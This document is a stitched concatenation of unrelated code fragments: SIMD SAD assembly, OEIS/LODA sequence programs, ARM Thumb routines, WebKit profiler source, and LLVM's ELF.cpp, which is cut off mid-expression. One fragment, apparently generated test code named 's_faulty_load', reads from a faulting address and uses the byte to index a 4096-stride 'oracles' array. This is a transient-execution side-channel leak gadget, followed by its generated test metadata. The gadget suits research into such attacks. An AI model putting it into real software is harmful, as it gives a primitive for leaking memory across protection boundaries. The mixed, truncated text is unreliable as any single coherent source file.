[srcq+src_strideq*8] paddd m0, m3 dec n_rowsd jg .loop movhlps m1, m0 paddd m0, m1 punpckldq m0, m6 movhlps m1, m0 paddd m0, m1 movd eax, m0 RET %endmacro INIT_XMM sse2 HIGH_SAD8XN 16 ; highbd_sad8x16_sse2 HIGH_SAD8XN 8 ; highbd_sad8x8_sse2 HIGH_SAD8XN 4 ; highbd_sad8x4_sse2 HIGH_SAD8XN 16, 1 ; highbd_sad8x16_avg_sse2 HIGH_SAD8XN 8, 1 ; highbd_sad8x8_avg_sse2 HIGH_SAD8XN 4, 1 ; highbd_sad8x4_avg_sse2
; A121365: a(n) = 6*a(n-1) - 9*a(n-2) + n + 1. ; 1,1,1,2,9,43,185,732,2737,9845,34449,118102,398585,1328607,4384393,14348912,46633953,150663529,484275617,1549681962,4939611241,15690529811,49686677721,156905298052,494251688849 mov $2,$0 mov $4,2 mov $5,$0 lpb $2 add $5,1 mov $0,$5 sub $5,$4 mov $1,$5 lpb $5 mul $1,3 sub $1,$0 mov $2,1 sub $5,1 mov $6,4 add $6,$3 mul $2,$6 mov $3,23 lpe div $2,7 div $6,3 lpb $6 mul $1,$6 mov $6,$2 trn $2,$1 lpe lpe div $1,54 add $1,1
.global s_prepare_buffers s_prepare_buffers: push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WT_ht+0x319e, %rsi lea addresses_WC_ht+0x1899e, %rdi nop nop nop nop nop xor $41690, %rbx mov $85, %rcx rep movsl nop nop and %rdx, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r13 push %r15 push %rax push %rdx push %rsi // Load mov $0x93e, %r12 nop nop nop cmp %rax, %rax mov (%r12), %dx nop nop nop nop nop cmp %r15, %r15 // Faulty Load mov $0x2b3e79000000019e, %r13 nop nop nop nop dec %rsi mov (%r13), %r15d lea oracles, %rax and $0xff, %r15 shlq $12, %r15 mov (%rax,%r15,1), %r15 pop %rsi pop %rdx pop %rax pop %r15 pop %r13 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'} {'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_P'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 4, 'NT': False, 'type': 'addresses_NC'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 10, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 11, 'same': False, 'type': 'addresses_WC_ht'}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
; A340632: a(n) in binary is a run of 1-bits from the most significant 1-bit of n down to the least significant 1-bit of n, inclusive. ; Submitted by Simon Strandgaard ; 0,1,2,3,4,7,6,7,8,15,14,15,12,15,14,15,16,31,30,31,28,31,30,31,24,31,30,31,28,31,30,31,32,63,62,63,60,63,62,63,56,63,62,63,60,63,62,63,48,63,62,63,60,63,62,63,56,63,62,63,60,63,62,63,64,127,126,127,124,127,126,127,120,127,126,127,124,127,126,127,112,127,126,127,124,127,126,127,120,127,126,127,124,127,126,127,96,127,126,127 mul $0,2 mov $1,1 mov $2,$0 lpb $0 div $0,2 mul $1,2 lpe gcd $2,$1 sub $1,$2 mov $0,$1 div $0,2
; A041148: Numerators of continued fraction convergents to sqrt(84). ; Submitted by Jon Maiga ; 9,55,999,6049,109881,665335,12085911,73180801,1329340329,8049222775,146215350279,885341324449,16082359190361,97379496466615,1768913295589431,10710859270003201,194564380155647049,1178097140203885495,21400312903825585959,129579974563157401249,2353839855040658808441,14252619104807110251895,258900983741568643342551,1567658521554218970307201,28476754371717510108872169,172428184751859279623540215,3132184079905184543332596039,18965532664182966539619116449,344511772035198582256476692121 add $0,1 mov $3,1 lpb $0 sub $0,1 add $2,$3 mov $3,$1 mov $1,$2 dif $2,3 mul $2,9 add $3,$2 lpe mov $0,$3
.org 0 .thumb LoopParent: push {lr} mov r2,pc add r2, #(LoopTable - Subtract) @need to double check here Subtract: bl MainLoop pop {r0} bx r0 MainLoop: push {r4-r6,lr} mov r4,r0 mov r5,r1 mov r6,r2 StartLoop: ldr r2,[r6] cmp r2,#0 @end of loop? beq EndLoop mov r0,#1 orr r2,r0 @in case you forgot the +1... get rid of this if you want ARM code mov r0,r4 mov r1,r5 bl RunCalc add r6,#4 b StartLoop EndLoop: pop {r4-r6} pop {r0} bx r0 RunCalc: push {r4-r6,lr} mov r4,r0 mov r5,r1 mov r6,r2 bl GOTO_r6 @ mov r0,r5 @ mov r1,r4 @ bl GOTO_r6 @don't flip it??? pop {r4-r6} pop {r0} bx r0 GOTO_r6: bx r6 .align 2 .ltorg LoopTable: @this is a table of pointers
; A295933: Number of (not necessarily maximum) cliques in the n-Sierpinski sieve graph. ; 8,20,55,160,475,1420,4255,12760,38275,114820,344455,1033360,3100075,9300220,27900655,83701960,251105875,753317620,2259952855,6779858560,20339575675,61018727020,183056181055,549168543160,1647505629475,4942516888420,14827550665255 add $0,1 mov $1,1 lpb $0,1 sub $0,1 mul $1,2 sub $2,6 trn $2,2 add $2,$1 add $2,5 mov $1,$2 lpe add $1,1
/* * Copyright (C) 2012 Apple Inc. All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met: * 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY APPLE INC. ``AS IS'' AND ANY * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR * PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL APPLE INC. OR * CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, * EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, * PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR * PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY * OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "config.h" #include "ProfilerOrigin.h" #include "JSCInlines.h" #include "ObjectConstructor.h" #include "ProfilerBytecodes.h" #include "ProfilerDatabase.h" namespace JSC { namespace Profiler { Origin::Origin(Database& database, CodeBlock* codeBlock, BytecodeIndex bytecodeIndex) : m_bytecodes(database.ensureBytecodesFor(codeBlock)) , m_bytecodeIndex(bytecodeIndex) { } void Origin::dump(PrintStream& out) const { out.print(*m_bytecodes, " ", m_bytecodeIndex); } JSValue Origin::toJS(JSGlobalObject* globalObject) const { VM& vm = globalObject->vm(); JSObject* result = constructEmptyObject(globalObject); result->putDirect(vm, vm.propertyNames->bytecodesID, jsNumber(m_bytecodes->id())); result->putDirect(vm, vm.propertyNames->bytecodeIndex, jsNumber(m_bytecodeIndex.offset())); return result; } } } // namespace JSC::Profiler
; A309729: Expansion of Sum_{k>=1} x^k/(1 - x^k - 2*x^(2*k)). ; Submitted by Christian Krause ; 1,2,4,7,12,26,44,92,175,354,684,1396,2732,5506,10938,21937,43692,87578,174764,349884,699098,1398786,2796204,5593886,11184823,22372354,44739418,89483996,178956972,357925242,715827884,1431677702,2863312218,5726666754,11453246178,22906581193 add $0,1 mov $2,$0 lpb $0 mov $3,$2 dif $3,$0 mov $4,$0 sub $0,1 mul $1,2 cmp $3,$2 cmp $4,0 sub $4,1 mul $5,$4 add $5,1 sub $5,$3 add $1,$5 lpe mov $0,$1 add $0,1
; A133476: a(n) = Sum_{k>=0} binomial(n,5*k+1). ; Submitted by Jon Maiga ; 0,1,2,3,4,5,7,14,36,93,220,474,948,1807,3381,6385,12393,24786,50559,103702,211585,427351,854702,1698458,3368259,6690150,13333932,26667864,53457121,107232053,214978335,430470899,860941798,1720537327,3437550076,6869397265,13733091643,27466183286,54947296924,109933682017,219930610020,439924466026,879848932052,1759532283963,3518631073489,7036560738245,14072420067757,28144840135514,56291516582931,112587840692838,225183460127725,450374698997499,900749397994998,1801478430978922,3602903545666671 mov $3,$0 add $0,4 lpb $0 sub $0,5 mov $2,$3 bin $2,$0 add $1,$2 lpe mov $0,$1
//===- ELF.cpp - ELF object file implementation ---------------------------===// // // Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions. // See https://llvm.org/LICENSE.txt for license information. // SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception // //===----------------------------------------------------------------------===// #include "llvm/Object/ELF.h" #include "llvm/BinaryFormat/ELF.h" #include "llvm/Support/DataExtractor.h" using namespace llvm; using namespace object; #define STRINGIFY_ENUM_CASE(ns, name) \ case ns::name: \ return #name; #define ELF_RELOC(name, value) STRINGIFY_ENUM_CASE(ELF, name) StringRef llvm::object::getELFRelocationTypeName(uint32_t Machine, uint32_t Type) { switch (Machine) { case ELF::EM_68K: switch (Type) { #include "llvm/BinaryFormat/ELFRelocs/M68k.def" default: break; } break; case ELF::EM_X86_64: switch (Type) { #include "llvm/BinaryFormat/ELFRelocs/x86_64.def" default: break; } break; case ELF::EM_386: case ELF::EM_IAMCU: switch (Type) { #include "llvm/BinaryFormat/ELFRelocs/i386.def" default: break; } break; case ELF::EM_MIPS: switch (Type) { #include "llvm/BinaryFormat/ELFRelocs/Mips.def" default: break; } break; case ELF::EM_AARCH64: switch (Type) { #include "llvm/BinaryFormat/ELFRelocs/AArch64.def" default: break; } break; case ELF::EM_ARM: switch (Type) { #include "llvm/BinaryFormat/ELFRelocs/ARM.def" default: break; } break; case ELF::EM_ARC_COMPACT: case ELF::EM_ARC_COMPACT2: switch (Type) { #include "llvm/BinaryFormat/ELFRelocs/ARC.def" default: break; } break; case ELF::EM_AVR: switch (Type) { #include "llvm/BinaryFormat/ELFRelocs/AVR.def" default: break; } break; case ELF::EM_HEXAGON: switch (Type) { #include "llvm/BinaryFormat/ELFRelocs/Hexagon.def" default: break; } break; case ELF::EM_LANAI: switch (Type) { #include "llvm/BinaryFormat/ELFRelocs/Lanai.def" default: break; } break; case ELF::EM_PPC: switch (Type) { #include "llvm/BinaryFormat/ELFRelocs/PowerPC.def" default: break; } break; case ELF::EM_PPC64: switch (Type) { #include "llvm/BinaryFormat/ELFRelocs/PowerPC64.def" default: break; } break; case ELF::EM_RISCV: switch (Type) { #include "llvm/BinaryFormat/ELFRelocs/RISCV.def" default: break; } break; case ELF::EM_S390: switch (Type) { #include "llvm/BinaryFormat/ELFRelocs/SystemZ.def" default: break; } break; case ELF::EM_SPARC: case ELF::EM_SPARC32PLUS: case ELF::EM_SPARCV9: switch (Type) { #include "llvm/BinaryFormat/ELFRelocs/Sparc.def" default: break; } break; case ELF::EM_AMDGPU: switch (Type) { #include "llvm/BinaryFormat/ELFRelocs/AMDGPU.def" default: break; } break; case ELF::EM_BPF: switch (Type) { #include "llvm/BinaryFormat/ELFRelocs/BPF.def" default: break; } break; case ELF::EM_MSP430: switch (Type) { #include "llvm/BinaryFormat/ELFRelocs/MSP430.def" default: break; } break; case ELF::EM_VE: switch (Type) { #include "llvm/BinaryFormat/ELFRelocs/VE.def" default: break; } break; case ELF::EM_CSKY: switch (Type) { #include "llvm/BinaryFormat/ELFRelocs/CSKY.def" default: break; } break; default: break; } return "Unknown"; } #undef ELF_RELOC uint32_t llvm::object::getELFRelativeRelocationType(uint32_t Machine) { switch (Machine) { case ELF::EM_X86_64: return ELF::R_X86_64_RELATIVE; case ELF::EM_386: case ELF::EM_IAMCU: return ELF::R_386_RELATIVE; case ELF::EM_MIPS: break; case ELF::EM_AARCH64: return ELF::R_AARCH64_RELATIVE; case ELF::EM_ARM: return ELF::R_ARM_RELATIVE; case ELF::EM_ARC_COMPACT: case ELF::EM_ARC_COMPACT2: return ELF::R_ARC_RELATIVE; case ELF::EM_AVR: break; case ELF::EM_HEXAGON: return ELF::R_HEX_RELATIVE; case ELF::EM_LANAI: break; case ELF::EM_PPC: break; case ELF::EM_PPC64: return ELF::R_PPC64_RELATIVE; case ELF::EM_RISCV: return ELF::R_RISCV_RELATIVE; case ELF::EM_S390: return ELF::R_390_RELATIVE; case ELF::EM_SPARC: case ELF::EM_SPARC32PLUS: case ELF::EM_SPARCV9: return ELF::R_SPARC_RELATIVE; case ELF::EM_CSKY: return ELF::R_CKCORE_RELATIVE; case ELF::EM_AMDGPU: break; case ELF::EM_BPF: break; default: break; } return 0; } StringRef llvm::object::getELFSectionTypeName(uint32_t Machine, unsigned Type) { switch (Machine) { case ELF::EM_ARM: switch (Type) { STRINGIFY_ENUM_CASE(ELF, SHT_ARM_EXIDX); STRINGIFY_ENUM_CASE(ELF, SHT_ARM_PREEMPTMAP); STRINGIFY_ENUM_CASE(ELF, SHT_ARM_ATTRIBUTES); STRINGIFY_ENUM_CASE(ELF, SHT_ARM_DEBUGOVERLAY); STRINGIFY_ENUM_CASE(ELF, SHT_ARM_OVERLAYSECTION); } break; case ELF::EM_HEXAGON: switch (Type) { STRINGIFY_ENUM_CASE(ELF, SHT_HEX_ORDERED); } break; case ELF::EM_X86_64: switch (Type) { STRINGIFY_ENUM_CASE(ELF, SHT_X86_64_UNWIND); } break; case ELF::EM_MIPS: case ELF::EM_MIPS_RS3_LE: switch (Type) { STRINGIFY_ENUM_CASE(ELF, SHT_MIPS_REGINFO); STRINGIFY_ENUM_CASE(ELF, SHT_MIPS_OPTIONS); STRINGIFY_ENUM_CASE(ELF, SHT_MIPS_DWARF); STRINGIFY_ENUM_CASE(ELF, SHT_MIPS_ABIFLAGS); } break; case ELF::EM_RISCV: switch (Type) { STRINGIFY_ENUM_CASE(ELF, SHT_RISCV_ATTRIBUTES); } break; default: break; } switch (Type) { STRINGIFY_ENUM_CASE(ELF, SHT_NULL); STRINGIFY_ENUM_CASE(ELF, SHT_PROGBITS); STRINGIFY_ENUM_CASE(ELF, SHT_SYMTAB); STRINGIFY_ENUM_CASE(ELF, SHT_STRTAB); STRINGIFY_ENUM_CASE(ELF, SHT_RELA); STRINGIFY_ENUM_CASE(ELF, SHT_HASH); STRINGIFY_ENUM_CASE(ELF, SHT_DYNAMIC); STRINGIFY_ENUM_CASE(ELF, SHT_NOTE); STRINGIFY_ENUM_CASE(ELF, SHT_NOBITS); STRINGIFY_ENUM_CASE(ELF, SHT_REL); STRINGIFY_ENUM_CASE(ELF, SHT_SHLIB); STRINGIFY_ENUM_CASE(ELF, SHT_DYNSYM); STRINGIFY_ENUM_CASE(ELF, SHT_INIT_ARRAY); STRINGIFY_ENUM_CASE(ELF, SHT_FINI_ARRAY); STRINGIFY_ENUM_CASE(ELF, SHT_PREINIT_ARRAY); STRINGIFY_ENUM_CASE(ELF, SHT_GROUP); STRINGIFY_ENUM_CASE(ELF, SHT_SYMTAB_SHNDX); STRINGIFY_ENUM_CASE(ELF, SHT_RELR); STRINGIFY_ENUM_CASE(ELF, SHT_ANDROID_REL); STRINGIFY_ENUM_CASE(ELF, SHT_ANDROID_RELA); STRINGIFY_ENUM_CASE(ELF, SHT_ANDROID_RELR); STRINGIFY_ENUM_CASE(ELF, SHT_LLVM_ODRTAB); STRINGIFY_ENUM_CASE(ELF, SHT_LLVM_LINKER_OPTIONS); STRINGIFY_ENUM_CASE(ELF, SHT_LLVM_CALL_GRAPH_PROFILE); STRINGIFY_ENUM_CASE(ELF, SHT_LLVM_ADDRSIG); STRINGIFY_ENUM_CASE(ELF, SHT_LLVM_DEPENDENT_LIBRARIES); STRINGIFY_ENUM_CASE(ELF, SHT_LLVM_SYMPART); STRINGIFY_ENUM_CASE(ELF, SHT_LLVM_PART_EHDR); STRINGIFY_ENUM_CASE(ELF, SHT_LLVM_PART_PHDR); STRINGIFY_ENUM_CASE(ELF, SHT_LLVM_BB_ADDR_MAP); STRINGIFY_ENUM_CASE(ELF, SHT_GNU_ATTRIBUTES); STRINGIFY_ENUM_CASE(ELF, SHT_GNU_HASH); STRINGIFY_ENUM_CASE(ELF, SHT_GNU_verdef); STRINGIFY_ENUM_CASE(ELF, SHT_GNU_verneed); STRINGIFY_ENUM_CASE(ELF, SHT_GNU_versym); default: return "Unknown"; } } template <class ELFT> std::vector<typename ELFT::Rel> ELFFile<ELFT>::decode_relrs(Elf_Relr_Range relrs) const { // This function decodes the contents of an SHT_RELR packed relocation // section. // // Proposal for adding SHT_RELR sections to generic-abi is here: // https://groups.google.com/forum/#!topic/generic-abi/bX460iggiKg // // The encoded sequence of Elf64_Relr entries in a SHT_RELR section looks // like [ AAAAAAAA BBBBBBB1 BBBBBBB1 ... AAAAAAAA BBBBBB1 ... ] // // i.e. start with an address, followed by any number of bitmaps. The address // entry encodes 1 relocation. The subsequent bitmap entries encode up to 63 // relocations each, at subsequent offsets following the last address entry. // // The bitmap entries must have 1 in the least significant bit. The assumption // here is that an address cannot have 1 in lsb. Odd addresses are not // supported. // // Excluding the least significant bit in the bitmap, each non-zero bit in // the bitmap represents a relocation to be applied to a corresponding machine // word that follows the base address word. The second least significant bit // represents the machine word immediately following the initial address, and // each bit that follows represents the next word, in linear order. As such, // a single bitmap can encode up to 31 relocations in a 32-bit object, and // 63 relocations in a 64-bit object. // // This encoding has a couple of interesting properties: // 1. Looking at any entry, it is clear whether it's an address or a bitmap: // even means address, odd means bitmap. // 2. Just a simple list of addresses is a valid encoding. Elf_Rel Rel; Rel.r_info = 0; Rel.setType(getRelativeRelocationType(), false); std::vector<Elf_Rel> Relocs; // Word type: uint32_t for Elf32, and uint64_t for Elf64. typedef typename ELFT::uint Word; // Word size in number of bytes. const size_t WordSize = sizeof(Word); // Number of bits used for the relocation offsets bitmap. // These many relative relocations can be encoded in a single entry. const size_t NBits = 8*WordSize - 1; Word Base = 0; for (const Elf_Relr &R : relrs) { Word Entry = R; if ((Entry&1) == 0) { // Even entry: encodes the offset for next relocation. Rel.r_offset = Entry; Relocs.push_back(Rel); // Set base offset for subsequent bitmap entries. Base = Entry + WordSize; continue; } // Odd entry: encodes bitmap for relocations starting at base. Word Offset = Base; while (Entry != 0) { Entry >>= 1; if ((Entry&1) != 0) { Rel.r_offset = Offset; Relocs.push_back(Rel); } Offset += WordSize; } // Advance base offset by NBits words. Base += NBits * WordSize; } return Relocs; } template <class ELFT> Expected<std::vector<typename ELFT::Rela>> ELFFile<ELFT>::android_relas(const Elf_Shdr &Sec) const { // This function reads relocations in Android's packed relocation format, // which is based on SLEB128 and delta encoding. Expected<ArrayRef<uint8_t>> ContentsOrErr = getSectionContents(Sec); if (!ContentsOrErr) return ContentsOrErr.takeError(); ArrayRef<uint8_t> Content = *ContentsOrErr; if (Content.size() < 4 || Content[0] != 'A' || Content[1] != 'P' || Content[2] != 'S' || Content[3] != '2') return createError("invalid packed relocation header"); DataExtractor Data(Content, isLE(), ELFT::Is64Bits ? 8 : 4); DataExtractor::Cursor Cur(/*Offset=*/4); uint64_t NumRelocs = Data.getSLEB128(Cur); uint64_t Offset = Data.getSLEB128(Cur); uint64_t Addend = 0; if (!Cur) return std::move(Cur.takeError()); std::vector<Elf_Rela> Relocs; Relocs.reserve(NumRelocs); while (NumRelocs) { uint64_t NumRelocsInGroup = Data.getSLEB128(Cur); if (!Cur) return std::move(Cur.takeError()); if (NumRelocsInGroup > NumRelocs) return createError("relocation group unexpectedly large"); NumRelocs -= NumRelocsInGroup; uint64_t GroupFlags = Data.getSLEB128(Cur); bool GroupedByInfo = GroupFlags & ELF::RELOCATION_GROUPED_BY_INFO_FLAG; bool GroupedByOffsetDelta = GroupFlags & ELF::RELOCATION_GROUPED_BY_OFFSET_DELTA_FLAG; bool GroupedByAddend = GroupFlags & ELF::RELOCATION_GROUPED_BY_ADDEND_FLAG; bool GroupHasAddend = GroupFlags & ELF::RELOCATION_GROUP_HAS_ADDEND_FLAG; uint64_t GroupOffsetDelta; if (GroupedByOffsetDelta) GroupOffsetDelta = Data.getSLEB128(Cur); uint64_t GroupRInfo; if (GroupedByInfo) GroupRInfo = Data.getSLEB128(Cur); if (GroupedByAddend && GroupHasAddend) Addend += Data.getSLEB128(Cur); if (!GroupHasAddend) Addend = 0; for (uint64_t I = 0; Cur && I != NumRelocsInGroup; ++I) { Elf_Rela R; Offset += GroupedByOffsetDelta ? GroupOffsetDelta : Data.getSLEB128(Cur); R.r_offset = Offset; R.r_info = GroupedByInfo ? GroupRInfo : Data.getSLEB128(Cur); if (GroupHasAddend && !GroupedByAddend) Addend += Data.getSLEB128(Cur); R.r_addend = Addend; Relocs.push_back(R); } if (!Cur) return std::move(Cur.takeError()); } return Relocs; } template <class ELFT> std::string ELFFile<ELFT>::getDynamicTagAsString(unsigned Arch, uint64_t Type) const { #define DYNAMIC_STRINGIFY_ENUM(tag, value) \ case value: \ return #tag; #define DYNAMIC_TAG(n, v) switch (Arch) { case ELF::EM_AARCH64: switch (Type) { #define AARCH64_DYNAMIC_TAG(name, value) DYNAMIC_STRINGIFY_ENUM(name, value) #include "llvm/BinaryFormat/DynamicTags.def" #undef AARCH64_DYNAMIC_TAG } break; case ELF::EM_HEXAGON: switch (Type) { #define HEXAGON_DYNAMIC_TAG(name, value) DYNAMIC_STRINGIFY_ENUM(name, value) #include "llvm/BinaryFormat/DynamicTags.def" #undef HEXAGON_DYNAMIC_TAG } break; case ELF::EM_MIPS: switch (Type) { #define MIPS_DYNAMIC_TAG(name, value) DYNAMIC_STRINGIFY_ENUM(name, value) #include "llvm/BinaryFormat/DynamicTags.def" #undef MIPS_DYNAMIC_TAG } break; case ELF::EM_PPC64: switch (Type) { #define PPC64_DYNAMIC_TAG(name, value) DYNAMIC_STRINGIFY_ENUM(name, value) #include "llvm/BinaryFormat/DynamicTags.def" #undef PPC64_DYNAMIC_TAG } break; } #undef DYNAMIC_TAG switch (Type) { // Now handle all dynamic tags except the architecture specific ones #define AARCH64_DYNAMIC_TAG(name, value) #define MIPS_DYNAMIC_TAG(name, value) #define HEXAGON_DYNAMIC_TAG(name, value) #define PPC64_DYNAMIC_TAG(name, value) // Also ignore marker tags such as DT_HIOS (maps to DT_VERNEEDNUM), etc. #define DYNAMIC_TAG_MARKER(name, value) #define DYNAMIC_TAG(name, value) case value: return #name; #include "llvm/BinaryFormat/DynamicTags.def" #undef DYNAMIC_TAG #undef AARCH64_DYNAMIC_TAG #undef MIPS_DYNAMIC_TAG #undef HEXAGON_DYNAMIC_TAG #undef PPC64_DYNAMIC_TAG #undef DYNAMIC_TAG_MARKER #undef DYNAMIC_STRINGIFY_ENUM default: return "<unknown:>0x" + utohexstr(Type, true); } } template <class ELFT> std::string ELFFile<ELFT>::getDynamicTagAsString(uint64_t Type) const { return getDynamicTagAsString(getHeader().e_machine, Type); } template <class ELFT> Expected<typename ELFT::DynRange> ELFFile<ELFT>::dynamicEntries() const { ArrayRef<Elf_Dyn> Dyn; auto ProgramHeadersOrError = program_headers(); if (!ProgramHeadersOrError) return ProgramHeadersOrError.takeError(); for (const Elf_Phdr &Phdr : *ProgramHeadersOrError) { if (Phdr.p_type == ELF::PT_DYNAMIC) { Dyn = makeArrayRef( reinterpret_cast<const Elf_Dyn *>(base() + Phdr.p_offset), Phdr.p_filesz / sizeof(Elf_Dyn)); break; } } // If we can't find the dynamic section in the program headers, we just fall // back on the sections. if (Dyn.empty()) { auto SectionsOrError = sections(); if (!SectionsOrError) return SectionsOrError.takeError(); for (const Elf_Shdr &Sec : *SectionsOrError) { if (Sec.sh_type == ELF::SHT_DYNAMIC) { Expected<ArrayRef<Elf_Dyn>> DynOrError = getSectionContentsAsArray<Elf_Dyn>(Sec); if (!DynOrError) return DynOrError.takeError(); Dyn = *DynOrError; break; } } if (!Dyn.data()) return ArrayRef<Elf_Dyn>(); } if (Dyn.empty()) // TODO: this error is untested. return createError("invalid empty dynamic section"); if (Dyn.back().d_tag != ELF::DT_NULL) // TODO: this error is untested. return createError("dynamic sections must be DT_NULL terminated"); return Dyn; } template <class ELFT> Expected<const uint8_t *> ELFFile<ELFT>::toMappedAddr(uint64_t VAddr, WarningHandler WarnHandler) const { auto ProgramHeadersOrError = program_headers(); if (!ProgramHeadersOrError) return ProgramHeadersOrError.takeError(); llvm::SmallVector<Elf_Phdr *, 4> LoadSegments; for (const Elf_Phdr &Phdr : *ProgramHeadersOrError) if (Phdr.p_type == ELF::PT_LOAD) LoadSegments.push_back(const_cast<Elf_Phdr *>(&Phdr)); auto SortPred = [](const Elf_Phdr_Impl<ELFT> *A, const Elf_Phdr_Impl<ELFT> *B) { return A->p_vaddr < B->p_vaddr; }; if (!llvm::is_sorted(LoadSegments, SortPred)) { if (Error E = WarnHandler("loadable segments are unsorted by virtual address")) return std::move(E); llvm::stable_sort(LoadSegments, SortPred); } const Elf_Phdr *const *I = llvm::upper_bound( LoadSegments, VAddr, [](uint64_t VAddr, const Elf_Phdr_Impl<ELFT> *Phdr) { return VAddr < Phdr->p_vaddr; }); if (I == LoadSegments.begin()) return createError("virtual address is not in any segment: 0x" + Twine::utohexstr(VAddr)); --I; const Elf_Phdr &Phdr = **I; uint64_t Delta = VAddr - Phdr.p_vaddr; if (Delta >= Phdr.p_filesz) return createError("virtual address is not in any segment: 0x" + Twine::utohexstr(VAddr)); uint64_t Offset = Phdr.p_offset + Delta; if (Offset >= getBufSize()) return createError("can't map virtual address 0x" + Twine::utohexstr(VAddr) + " to the segment with index " + Twine(&Phdr - (*ProgramHeadersOrError).data() + 